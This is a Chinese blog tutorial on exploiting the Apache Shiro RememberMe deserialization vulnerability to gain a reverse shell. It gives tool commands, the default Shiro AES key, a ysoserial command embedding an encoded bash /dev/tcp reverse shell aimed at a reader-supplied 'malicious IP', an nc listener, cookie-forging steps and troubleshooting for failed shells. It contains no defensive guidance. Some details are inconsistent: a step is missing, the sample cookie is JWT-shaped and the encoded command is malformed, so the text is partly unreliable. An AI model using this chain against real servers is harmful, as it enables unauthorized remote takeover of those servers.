shiro攻防利用

一. 工具准备

  • 核心工具:ShiroExploit(最常用,自动检测密钥、生成Payload)、ysoserial(生成恶意序列化对象);

  • 辅助工具:Burp Suite(抓取Cookie、修改Cookie发送请求)、nc(监听反弹Shell)、Base64编码工具;

  • 前提条件:目标使用受影响的Shiro版本(≤1.2.4)或未修改默认密钥;目标开启RememberMe功能;目标可出网(反弹Shell场景);目标项目依赖CommonsCollections等可利用组件。

二. 完整利用步骤

步骤1:检测目标是否存在Shiro漏洞(密钥探测)

方法1:使用ShiroExploit工具自动探测

bash 复制代码
# 运行ShiroExploit工具(Java版) java -jar ShiroExploit-2.5.jar -u http://目标IP:端口 # 自动探测目标是否存在Shiro漏洞,检测默认密钥

方法2:手动探测(Burp Suite)

  1. 访问目标登录页面,勾选「记住我」,输入正确账号密码登录,抓取返回的RememberMe Cookie;

  2. 将Cookie值Base64解码,若解码后能看到明显的序列化特征(如aced0005开头),说明目标开启Shiro RememberMe功能;

  3. 使用已知默认密钥,对任意内容加密、Base64编码,替换RememberMe Cookie,若返回500错误或异常日志,说明密钥正确,存在漏洞。

步骤2:生成恶意序列化Payload(ysoserial)

使用ysoserial生成包含反弹Shell命令的恶意序列化对象,命令如下:

bash 复制代码
# 生成CommonsCollections3类型的恶意序列化对象,反弹Shell(替换为你的恶意IP和监听端口) java -jar ysoserial.jar CommonsCollections3 "bash -c {echo,YmFzaCAtYyAnY2hpbGRyZW4gMTI3LjAuMC4xIDIwMDAwIC1pICY+L2Rldi90Y3AvMTI3LjAuMC4xLzIwMDAwICYm} | {base64,-d} | {bash,-i}" > payload.ser

说明:CommonsCollections3是最常用的利用链,需目标项目依赖该组件;若目标无此依赖,可尝试CommonsCollections4、JRMP等其他利用链。

使用已知的Shiro密钥(如默认密钥kPH+bIxk5D2deZiIxcaaaA==),对恶意序列化对象进行AES加密、Base64编码,生成伪造的RememberMe Cookie:

  • 工具生成:ShiroExploit工具可直接输入密钥、反弹命令,自动生成伪造Cookie,无需手动加密;

  • 手动加密(简化):AES加密(ECB模式、PKCS5Padding填充)→ Base64编码,最终得到的字符串即为RememberMe Cookie值。

步骤4:监听反弹Shell,发送恶意请求

在恶意服务器上,用nc监听指定端口(与反弹Shell命令一致):

bash 复制代码
nc -lvp 20000 # 监听20000端口,接收反弹Shell

用Burp Suite抓取目标任意请求(如访问首页),修改请求头中的RememberMe Cookie为伪造的值:

bash 复制代码
Cookie: rememberMe=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...(伪造的Cookie值)

发送请求,服务端会解密、反序列化伪造的Cookie,触发恶意代码执行,nc端即可收到反弹的Shell,获得目标服务器控制权。

三. 常见利用问题

  • 问题1:密钥正确,但无法反弹Shell → 解决:更换ysoserial利用链(如CommonsCollections4),检查目标是否依赖对应组件,检查目标服务器是否可出网;

  • 问题2:返回500错误,但无Shell → 解决:检查恶意命令是否正确,是否适配目标服务器系统(Windows用calc.exe测试,Linux用bash命令);

  • 问题3:工具检测不到漏洞 → 解决:手动探测密钥,检查目标是否开启RememberMe功能,是否修改了默认密钥。

相关推荐
浮尘笔记几秒前
Java Snowy框架CI/CD云效自动化部署流程
java·运维·服务器·阿里云·ci/cd·自动化
维构lbs智能定位7 小时前
厂区人员定位管理系统|以智能定位,守护化工厂区每一寸安全(二)
安全·厂区人员管理定位系统
一直不明飞行7 小时前
Java的equals(),hashCode()应该在什么时候重写
java·开发语言·jvm
REDcker7 小时前
有限状态机与状态模式详解 FSM建模Java状态模式与C++表驱动模板实践
java·c++·状态模式
你的保护色8 小时前
【无标题】
java·服务器·网络
basketball6168 小时前
C++ 构造函数完全指南:从入门到进阶
java·开发语言·c++
淘矿人8 小时前
Claude辅助DevOps实践
java·大数据·运维·人工智能·算法·bug·devops
JiaWen技术圈8 小时前
nginx 安全响应头 介绍
运维·nginx·安全
Jason_zhao_MR8 小时前
RK3576 MIPI Camera ISP调试:主观调优与工程实战(下)
stm32·嵌入式硬件·安全·系统架构·嵌入式
小江的记录本9 小时前
【Java基础】泛型:泛型擦除、通配符、上下界限定(附《思维导图》+《面试高频考点清单》)
java·数据结构·后端·mysql·spring·面试·职场和发展